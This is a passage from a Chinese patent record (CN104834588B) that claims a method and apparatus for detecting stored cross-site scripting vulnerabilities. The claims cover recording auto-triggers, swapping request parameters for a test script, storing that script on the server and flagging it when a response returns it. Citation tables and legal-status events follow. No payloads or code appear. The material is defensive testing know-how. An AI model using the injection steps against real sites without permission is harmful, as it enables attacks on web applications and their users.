预先制作自动触发器。
4.根据权利要求3所述的方法,其特征在于,所述预先制作自动触发器的步骤包括:
通过功能自动化工具录制打开网页及触发操作生成脚本,对所述录制的脚本进行编辑制作自动触发器。
5.根据权利要求3所述的方法,其特征在于,所述预先制作自动触发器的步骤包括:
打开网页,根据所述网页中触发控件的标识获取对应的脚本,对所述脚本进行编辑制作自动触发器。
6.根据权利要求1所述的方法,其特征在于,在所述接收自动触发操作产生的访问指令的步骤之前,所述方法还包括:
将测试脚本代码注入到网页中。
7.根据权利要求6所述的方法,其特征在于,所述将测试脚本代码注入到网页中的步骤包括:
向网页应用服务器发送包含测试脚本代码的测试请求包,以使所述测试脚本代码在所述网页应用服务器上对应网页存储。
8.根据权利要求7所述的方法,其特征在于,在所述向网页应用服务器发送包含测试脚本代码的测试请求包,以使所述测试脚本代码在所述网页应用服务器上对应网页存储之前,所述方法还包括:
获取网页发送给网页应用服务器的原始请求包;
检测所述原始请求包,确定所述原始请求包中的参数;
用所述测试脚本代码替换所述原始请求包中的所述参数,获得测试请求包。
9.一种检测常驻式跨站脚本漏洞的装置,其特征在于,包括:
指令接收模块,用于接收自动触发操作产生的访问指令;
访问请求模块,用于根据所述访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求;
响应包接收模块,用于接收所述网页应用服务器根据所述访问请求返回的访问响应包;
脚本执行模块,用于若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,并根据所述测试脚本代码发出漏洞信息。
10.根据权利要求9所述的装置,其特征在于,所述指令接收模块还用于接收通过预先制作的自动触发器自动触发操作产生的访问指令。
11.根据权利要求9所述的装置,其特征在于,所述装置还包括:
预制模块,用于在所述接收自动触发操作产生的访问指令之前,预先制作自动触发器。
12.根据权利要求11所述的装置,其特征在于,所述预制模块还用于通过功能自动化工具录制打开网页及触发操作生成脚本,对所述录制的脚本进行编辑制作自动触发器。
13.根据权利要求11所述的装置,其特征在于,所述预制模块还用于打开网页,根据所述网页中触发控件的标识获取对应的脚本,对所述脚本进行编辑制作自动触发器。
14.根据权利要求9所述的装置,其特征在于,所述装置还包括:
注入模块,用于在所述接收自动触发操作产生的访问指令之前,将测试脚本代码注入到网页中。
15.根据权利要求14所述的装置,其特征在于,所述注入模块还用于向网页应用服务器发送包含测试脚本代码的测试请求包,以使所述测试脚本代码在所述网页应用服务器上对应网页存储。
16.根据权利要求15所述的装置,其特征在于,在所述向网页应用服务器发送包含测试脚本代码的测试请求包,并将所述测试脚本代码在所述网页应用服务器上对应网页存储之前,所述装置还包括:
原始请求包获取模块,用于获取网页发送给网页应用服务器的原始请求包;
参数确定模块,用于检测所述原始请求包,确定所述原始请求包中的参数;
测试请求包生成模块,用于用所述测试脚本代码替换所述原始请求包中的所述参数,获得测试请求包。
CN201410048080.8A 2014-02-11 2014-02-11 检测常驻式跨站脚本漏洞的方法和装置 Active CN104834588B (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN201410048080.8A CN104834588B (zh) 2014-02-11 2014-02-11 检测常驻式跨站脚本漏洞的方法和装置

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN201410048080.8A CN104834588B (zh) 2014-02-11 2014-02-11 检测常驻式跨站脚本漏洞的方法和装置

Publications (2)

Publication Number Publication Date
CN104834588A true CN104834588A (zh) 2015-08-12
CN104834588B CN104834588B (zh) 2019-06-25

Family

ID=53812494

Family Applications (1)

Application Number Title Priority Date Filing Date
CN201410048080.8A Active CN104834588B (zh) 2014-02-11 2014-02-11 检测常驻式跨站脚本漏洞的方法和装置

Country Status (1)

Country Link
CN (1) CN104834588B (zh)

Cited By (7)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN105404816A (zh) * 2015-12-24 2016-03-16 北京奇虎科技有限公司 基于内容的漏洞检测方法及装置
CN105631341A (zh) * 2015-12-18 2016-06-01 北京奇虎科技有限公司 一种漏洞盲测方法及装置
CN105528546B (zh) * 2015-12-25 2018-09-25 北京金山安全软件有限公司 一种挖掘漏洞的方法、装置及电子设备
CN108650230A (zh) * 2018-04-08 2018-10-12 福建网龙计算机网络信息技术有限公司 一种防止按钮自动点击的方法及系统
CN112202763A (zh) * 2020-09-28 2021-01-08 杭州安恒信息技术股份有限公司 一种ids策略生成方法、装置、设备及介质
CN112860552A (zh) * 2021-02-02 2021-05-28 北京房江湖科技有限公司 关键字机制运行方法和装置
CN113157581A (zh) * 2021-04-27 2021-07-23 网易(杭州)网络有限公司 自动触发业务的方法及装置、电子设备、存储介质

Citations (3)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN101964025A (zh) * 2009-07-23 2011-02-02 中联绿盟信息技术(北京)有限公司 Xss检测方法和设备
CN102004639A (zh) * 2010-09-28 2011-04-06 深圳市共进电子有限公司 嵌入式脚本生成模块以及嵌入式脚本生成的方法
CN102819710A (zh) * 2012-08-22 2012-12-12 西北工业大学 基于渗透测试的跨站点脚本漏洞检测方法

Patent Citations (3)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN101964025A (zh) * 2009-07-23 2011-02-02 中联绿盟信息技术(北京)有限公司 Xss检测方法和设备
CN102004639A (zh) * 2010-09-28 2011-04-06 深圳市共进电子有限公司 嵌入式脚本生成模块以及嵌入式脚本生成的方法
CN102819710A (zh) * 2012-08-22 2012-12-12 西北工业大学 基于渗透测试的跨站点脚本漏洞检测方法

Cited By (11)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN105631341A (zh) * 2015-12-18 2016-06-01 北京奇虎科技有限公司 一种漏洞盲测方法及装置
CN105631341B (zh) * 2015-12-18 2020-01-21 北京奇虎科技有限公司 一种漏洞盲测方法及装置
CN105404816A (zh) * 2015-12-24 2016-03-16 北京奇虎科技有限公司 基于内容的漏洞检测方法及装置
CN105404816B (zh) * 2015-12-24 2018-11-06 北京奇虎科技有限公司 基于内容的漏洞检测方法及装置
CN105528546B (zh) * 2015-12-25 2018-09-25 北京金山安全软件有限公司 一种挖掘漏洞的方法、装置及电子设备
CN108650230A (zh) * 2018-04-08 2018-10-12 福建网龙计算机网络信息技术有限公司 一种防止按钮自动点击的方法及系统
CN112202763A (zh) * 2020-09-28 2021-01-08 杭州安恒信息技术股份有限公司 一种ids策略生成方法、装置、设备及介质
CN112202763B (zh) * 2020-09-28 2022-04-22 杭州安恒信息技术股份有限公司 一种ids策略生成方法、装置、设备及介质
CN112860552A (zh) * 2021-02-02 2021-05-28 北京房江湖科技有限公司 关键字机制运行方法和装置
CN112860552B (zh) * 2021-02-02 2023-12-15 贝壳找房(北京)科技有限公司 关键字机制运行方法和装置
CN113157581A (zh) * 2021-04-27 2021-07-23 网易(杭州)网络有限公司 自动触发业务的方法及装置、电子设备、存储介质

Also Published As

Publication number Publication date
CN104834588B (zh) 2019-06-25

Similar Documents

Publication Publication Date Title
CN104834588B (zh) 检测常驻式跨站脚本漏洞的方法和装置
CN104767775B (zh) 网页应用消息推送方法及系统
US8516601B2 (en) Online privacy management
CN101877696B (zh) 在网络应用环境下重构错误响应信息的设备和方法
US20120185947A1 (en) Triggering a private browsing function of a web browser application program
KR102504075B1 (ko) 사용자 디바이스 이벤트의 매칭 및 속성
CN107124430B (zh) 页面劫持监控方法、装置、系统和存储介质
CN104573520A (zh) 检测常驻式跨站脚本漏洞的方法和装置
CN108134816B (zh) 对远程设备上的数据的访问
CN109672658B (zh) Json劫持漏洞的检测方法、装置、设备及存储介质
CN107085549B (zh) 故障信息生成的方法和装置
CN104023046B (zh) 移动终端识别方法和装置
CN103902534A (zh) 一种网页程序触发本地操作的方法和装置
US20150127771A1 (en) Method and Apparatus
CN111538922B (zh) 链接跳转方法、应用客户端、设备及存储介质
JP2011043924A (ja) Web行動履歴取得システム、Web行動履歴取得方法、ゲートウェイ装置、及びプログラム
CN111177623A (zh) 信息处理方法及装置
WO2014151539A1 (en) Online privacy management
CN104573486A (zh) 漏洞检测方法和装置
CN104811418A (zh) 病毒检测的方法及装置
EP3502925B1 (en) Computer system and method for extracting dynamic content from websites
US8239522B1 (en) Dynamic variables for tracking wireless device website usage
US8312075B1 (en) System, method and computer program product for reconstructing data received by a computer in a manner that is independent of the computer
CN104423973B (zh) 浮动框架页面加载信息的处理方法、装置及系统
AU2014280974B2 (en) Online privacy management

Legal Events

Date Code Title Description
C06 Publication
PB01 Publication
C10 Entry into substantive examination
SE01 Entry into force of request for substantive examination
GR01 Patent grant
GR01 Patent grant
TR01 Transfer of patent right
TR01 Transfer of patent right

Effective date of registration: 20231221

Address after: 518057 Tencent Building, No. 1 High-tech Zone, Nanshan District, Shenzhen City, Guangdong Province, 35 floors

Patentee after: TENCENT TECHNOLOGY (SHENZHEN) Co.,Ltd.

Patentee after: TENCENT CLOUD COMPUTING (BEIJING) Co.,Ltd.

Address before: 2, 518000, East 403 room, SEG science and Technology Park, Zhenxing Road, Shenzhen, Guangdong, Futian District

Patentee before: TENCENT TECHNOLOGY (SHENZHEN) Co.,Ltd.